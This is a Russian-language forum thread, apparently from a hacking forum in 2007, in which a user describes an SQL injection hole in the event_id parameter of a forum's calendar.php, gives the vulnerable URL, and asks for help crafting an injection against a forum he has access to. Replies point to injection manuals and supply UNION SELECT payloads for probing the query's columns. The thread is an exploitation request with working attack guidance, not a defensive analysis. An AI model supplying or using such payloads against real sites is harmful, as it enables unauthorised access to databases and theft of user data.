PDA

Просмотр полной версии : Помогите составить запрос инъекции


FoGorm
25.02.2007, 22:11
Вопрос знающим людям.
В скрипте calendar.php в функции cal_event_save( $type='add' ) отсутствует проверка на тип в переменной event_id


Код:
$event_id = $this->ipsclass->input['event_id'];
Далее эта переменная подставляется напрямую в запрос к БД

Код:
$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'cal_events', 'where' => "event_id=$event_id" ) );

и еще один запрос. Это позволяет модифицировать запрос к базе данных

Код:
http://path_to_forum/index.php?act=calendar&code=doedit&type=qqq&event_id=your_SQL

Та вот имею форум с такой уязвимостью. Помогите составить какую-то пробную инъекцию, при помощи этого параметра event_id.
За ранее благодарен.

aka PSIH
26.02.2007, 07:04
Почитай маны по sql-injection
ссылки можно найти тут
http://forum.web-hack.ru/index.php?showtopic=46504

начинай с
union select null, null, null/* и т.д

guest3297
26.02.2007, 07:17
1 'select' => '*', 'from' => 'cal_events', 'where' => "event_id=999999 union select 1,2,3,4,...,100"
2 'select' => '*', 'from' => 'cal_events', 'where' => "event_id=999999 union select 1,2,3,4,...,100 from cal_table"
3 'select' => '*', 'from' => 'cal_events', 'where' => "event_id=999999 union select 1,column,3,4,...,100 from cal_table"